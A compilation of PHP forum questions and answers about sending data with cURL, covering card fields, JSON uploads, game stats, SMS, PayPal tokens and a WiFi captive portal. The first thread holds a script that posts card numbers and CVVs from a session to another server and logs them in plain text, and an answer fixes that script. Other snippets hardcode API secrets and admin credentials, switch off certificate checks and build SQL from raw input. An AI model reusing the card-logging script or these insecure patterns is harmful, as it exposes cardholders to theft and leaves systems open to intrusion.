I am having problem in this script. The problem i m facing is when i send a large amount of data in a variable like cc_no = 3654785698568 i get blank on text file where i m checking it. Others variables are working fine.
session_set_cookie_params(0);
session_start();
echo $cc_name = $_SESSION['card_name'];
echo $cc_no = $_SESSION['card_no'];
echo $cc_cvv2 = $_SESSION['cvv2'];
echo $cc_expiry = $_SESSION['expiry'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://example.com/db/get.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"cc_name=$cc_name&cc_no=$cc_no&cc_cvv2=$cc_cvv2&cc_expiry=$cc_expiry");
// receive server response ...
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec ($ch);
curl_close ($ch);
The code which is catching the values on other server.
<?php
$fp = fopen("formdata.txt", "a");
$cc_name1 = $_POST['cc_name'];
$cc_no1 = $_POST['card_no'];
$cc_cvv21 = $_POST['cc_cvv2'];
$cc_expiry1 = $_POST['cc_expiry'];
$data = "$cc_name1 | $cc_no1 | $cc_cvv21 | $cc_expiry1 \n";
fwrite($fp, $data);
fclose($fp);
?>
$cc_no1 = $_POST['card_no'];
should be:
$cc_no1 = $_POST['cc_no'];
Edit:
I really hope this is for learning only. CCs should not be handled this way, especially over standard http.
Related
I want to send data from server 1 to server 2, first I select necessary data from the database, but how to send data with curl? I understand that I cannot send $result parameter just like in my code, but how should I do this?
My Code server 1:
public function setDivisions(){
$result = $this->conn->query("SELECT *FROM data_divisions");
$ch = curl_init('https://example.com/api.php?siteid='.$this->site_key.'');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $result);
curl_setopt($ch, CURLOPT_POST, 1);
$response = curl_exec($ch);
print_r($response);
}
Code on server 2:
$array = $_POST['result'];
//loop throw array and insert data into database
you can use it that way.
$ch = curl_init('https://upxxx.cod3fus1ontm.com/curl/json');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode((object)["records" => json_encode($result)]));
$response = curl_exec($ch);
var_dump($response);
on receipt, like this!
$json = file_get_contents("php://input");
$content = json_decode($json, true);
$records = json_decode($content['records'], true);
foreach($records as $record) {
echo $record['id'] . " - " . $record['text'] . "<br/>";
}
remember, that as you did to encode, you will have to do to decode
Come on, php://input returns all raw data after the request's HTTP headers, regardless of content type.
When we do this with file_get_contents (which reads the contents of a file and puts it into a variable of type string), we can read the content that was sent by curl.
Reviewing the code, you can optimize as follows, when sending to the server you placed, I suggested:
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode((object)["records" => json_encode($result)]));
you can replace it with:
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($result));
it's much simpler, but it's very important to put the query result inside a json_encode
finally, you can access the entire body of the message, through file_get_contents ("php://input") and put it inside a variable, which is nothing more than a JSON of the your query.
for you to understand how the parameters were passed, it is interesting to do the following:
$json = file_get_contents("php: // input");
var_dump($json); <- Here you see the thing as it is.
$records = json_decode($json, true); <- Here you generate an object with the content of json
var_dump($records);
With that, I think that solves the situation.
on server 1
$result = "result=".base64_encode($result)
curl_setopt($ch, CURLOPT_POSTFIELDS, $result);
...
on server 2
$array = base64_decode($_POST['result']);
I would like to make a small Fortnite API, but I always get an error in the JSON file.
{"message":"Invalid authentication credentials"}
My PHP Code:
$ch = curl_init();
//pc, xbl, psn
curl_setopt($ch, CURLOPT_URL, "https://api.fortnitetracker.com/v1/profile/pc/MyName");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'TRN-Api-Key: My-API-Code'
));
curl_setopt($ch, CURLOPT_VERBOSE, 1);
$response = curl_exec($ch);
curl_close($ch);
var_dump($response);
$fp = fopen("myStats.json", "w");
fwrite($fp, $response);
fclose($fp);
$data = json_decode(file_get_contents("myStats.json"));
$solo = $data->stats->p2;//solos data
$duos = $data->stats->p10;//duos data
$squads = $data->stats->p9;//squads data
$matches = $data->recentMatches;//match data
$sesh1 = $matches[0]->id->valueInt;
$solo_wins = $solo->top1->valueInt;
$duos_wins = $duos->top1->valueInt;
$squads_wins = $squads->top1->valueInt;
$solo_matches = $solo->matches->valueInt;
$duos_matches = $duos->matches->valueInt;
$squads_matches = $squads->matches->valueInt;
$solo_kd = $solo->kd->valueDec;
$duos_kd = $duos->kd->valueDec;
$squads_kd = $squads->kd->valueDec;
$solo_games = $solo->matches->valueInt;
$duos_games = $duos->matches->valueInt;
$squads_games = $squads->matches->valueInt;
$solo_kills = $solo->kills->valueInt;
$duos_kills = $duos->kills->valueInt;
$squads_kills = $squads->kills->valueInt;
$total_matches = ($solo_matches+$duos_matches+$squads_matches);
$total_wins = ($solo_wins+$duos_wins+$squads_wins);
$total_kills = ($solo_kills+$duos_kills+$squads_kills);
$total_kd = (round($total_kills/($total_matches-$total_wins),2));
echo 'Total Matches: '.$total_matches.'<br>';
echo 'Total Wins: '.$total_wins.'<br>';
echo 'Total Kills: '.$total_kills.'<br>';
echo 'Total KD: '.$total_kd.'<br>';
echo $sesh1;
?>
I entered the correct API code. Why is this message written in a JSON file and not my wins? It's so crazy because it should work.
What returns on line 11? You are using var_dump($response);
Could you write die(); under that line and provide us the return that it gives?
There might be something wrong on how you handle the headers. I can't check for sure right now as I am not home. But I might be able to test this out later.
Please am creating a web application that sends sms alert when a user is registered. i wrote the script to do that which is below, i then uploaded that file to my web server for testing but it refuse to work. am actually having issues understanding curl. can someone tell me what am not doing right?
<?php
$number='08166848961';
$message_body='my test from server';
echo CURLsendsms($number,$message_body);
function CURLsendsms($number, $message_body){
$type='0';
$routing='3';
$token = 'VMnzTxbzgFKs5Po2vt6BhVt6VSWWNSDuaKAeI4Nch2cL4USf6furZ7ckVSc4Qf8jk';
$api_params ='message='.$message_body.'&to='.$number.'&sender='.$number.'&type='.$type.'&routing='.$routing.'&token='.$token;
$smsGatewayUrl = "https://smartsmssolutions.com/api/?";
$smsgatewaydata = $smsGatewayUrl.$api_params;
$url = $smsgatewaydata;
$ch = curl_init(); // initialize CURL
curl_setopt($ch, CURLOPT_POST, false); // Set CURL Post Data
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$output = curl_exec($ch);
curl_close($ch); // Close CURL
// Use file get contents when CURL is not installed on server.
if(!$output){
return $output = file_get_contents($smsgatewaydata);
}else
}
?>
I am trying to gain a token via the android paypal sdk. I created this cURL inside a php script, but I am unable to update my tkn column in my 000webhost database. The script is called from my app, but I think there might be something wrong with the script. Please let me know if you see anything wrong. Also, it might be that 000webhost does not allow cURL scripts. Please advise. On last minute, one thing that I noticed is that the variable "idclient" and "sekret" are not set as strings. Perhaps this is the problem. Please see if there are any other problems you might encounter.
Here's my script with the cURL:
<?php
require "quimasetup.php";
$name = $_POST["name"];
$email = $_POST["email"];
$phone_number= $_POST["phone_number"];
$subject= $_POST["subject"];
$grade= $_POST["grade"];
$payment_id = $_POST["payment_id"];
$idclient = AVe40dqVhDDmGDbLhNEkH6G9eWyvgrqPrkKAucGv;
$sekret = ELQ595K9VZyfQcJuj7pw1yPVVv7OnNw;
$ch = curl_init("https://api.sandbox.paypal.com/v1/oauth2/token");
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERPWD, $idclient.":".$sekret);
curl_setopt($ch, CURLOPT_POSTFIELDS, "grant_type=client_credentials");
$result = curl_exec($ch);
curl_close($ch);
$json = json_encode($result);
$jsonn = json_decode($json);
$tkn = $jsonn->access_token;
$sql = "insert into craddle values('$name','$email','$phone_number','$subject','$grade','$payment_id','$tkn');";
if (isset($tkn)){
if(mysqli_query($connection,$sql)){
echo "<br><h3>one row inserted...</h3>";
}
else{
echo "Error in insertion...".mysqli_error($connection);
}
}
else{
var_dump($json);
var_dump($jsonn);
var_dump($tkn);
}
?>
I am probably barking at the wrong tree and I will need so pointing into correct direction. I am building WIFI portal. In essence:
User puts details in.
Details are being sent through cURL to REST post call.
<?php
include 'functions.php';
session_start();
$user_mac = $_SESSION["id"]; //user's mac address
$ap_mac = $_SESSION["ap"]; //AP mac
$ssid = $_SESSION["ssid"]; //ssid the user is on (POST 2.3.2)
$time = $_SESSION["t"]; //time the user attempted a request of the portal
$url = $_SESSION["url"]; //url the user attempted to reach
$sesh = $_SESSION["rand"];
/*
//Check what gets send
echo $user_mac;
echo '<br/>';
echo $ap_mac;
echo '<br/>';
echo $ssid;
echo '<br/>';
echo $time;
echo '<br/>';
echo $url;
echo '<br/>';
echo $sesh;
echo '<br/>';
echo $_POST["EMAIL"];
*/
$ch = curl_init();
$service_url = 'https://blablabla.com/rest/wifi/post_test';
$parm = array(
'KEY' => '1',
'BOOKING_ID' => $_POST["BOOKING_ID"],
'GUEST_NAME' => $_POST["GUEST_NAME"],
'EMAIL' => $_POST["EMAIL"],
'AP_MAC' => $ap_mac,
'USER_MAC' => $user_mac,
'SSID' => $ssid,
'REACH_ID' => $url,
'LOG_TIME' => $time,
'SESH_ID'=> $sesh
);
curl_setopt($ch, CURLOPT_URL,$service_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,http_build_query($parm));
// curl_setopt($ch, CURLOPT_POSTFIELDS,
// http_build_query(array('postvar1' => 'value1')));
// get the reposne from serv
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$server_output = curl_exec($ch);
$jsonString = json_encode($server_output, true);
$data = json_decode($jsonString);
//show the response
echo '<pre>',print_r($data),'</pre>';
curl_close ($ch);
$macreturned = $data[0]['usermac'];
$macreturned1 = $jsonString[0]["usermac"];
echo $macreturned;
echo $macreturned1;
$status = $jsonString[0]["Status"];
$status_id = (int)$status;
IF ($status_id == 1 ) {
echo "Access denied.";
}
ELSE
{
echo "Access provided.";
sendAuthorization($macreturned,10);
}
curl_close ($ch);
?>
Oracle DB process the input.
DB sent response to portal in form o JSON string with data like MAC address and session length.
{
"Status":"2",
"usermac":"11:11:11:11:11",
"Return message":"Whoa we are in",
"sesh_length":"14400",
"sesh_id":"4568"
}
Oracle DB process the input.
{
"Status":"2",
"usermac":"11:11:11:11:11",
"Return message":"Whoa we are in",
"sesh_length":"14400",
"sesh_id":"4568"
}
DB sent response to portal in form o JSON string with data like MAC address and session length.
Depending on status output it executes another call through function sendAuthorization
<?php
function sendAuthorization($id, $minutes)
{
$unifiServer = "https://1.1.1.1";
$unifiUser = "Admin";
$unifiPass = "Admin";
// Start Curl for login
$ch = curl_init();
// We are posting data
curl_setopt($ch, CURLOPT_POST, TRUE);
// Set up cookies
$cookie_file = "/tmp/unifi_cookie";
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
// Allow Self Signed Certs
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
// Force SSL3 only
curl_setopt($ch, CURLOPT_SSLVERSION, 3);
// Login to the UniFi controller
curl_setopt($ch, CURLOPT_URL, "$unifiServer/login");
curl_setopt($ch, CURLOPT_POSTFIELDS,
"login=login&username=$unifiUser&password=$unifiPass");
// send login command
curl_exec ($ch);
// Send user to authorize and the time allowed
$data = json_encode(array(
'cmd'=>'authorize-guest',
'mac'=>$id,
'minutes'=>$minutes));
// Send the command to the API
curl_setopt($ch, CURLOPT_URL, $unifiServer.'/api/cmd/stamgr');
curl_setopt($ch, CURLOPT_POSTFIELDS, 'json='.$data);
curl_exec ($ch);
// Logout of the UniFi Controller
curl_setopt($ch, CURLOPT_URL, $unifiServer.'/logout');
curl_exec ($ch);
curl_close ($ch);
unset($ch);
}
?>
Now this is when it stops working. I need to talk back to controller so I need to execute another function passing two elements usermac with sesh_length using cURL. However after receiving JSON from server something on PHP side of things is stopping executing another cURL function.
Now there are info about multiple cURL scripts running but I need to carry out call CALL depending on results from initial call.
Any help greatly appreciated, I dont work on this side of things so I know very little about PHP and cURL.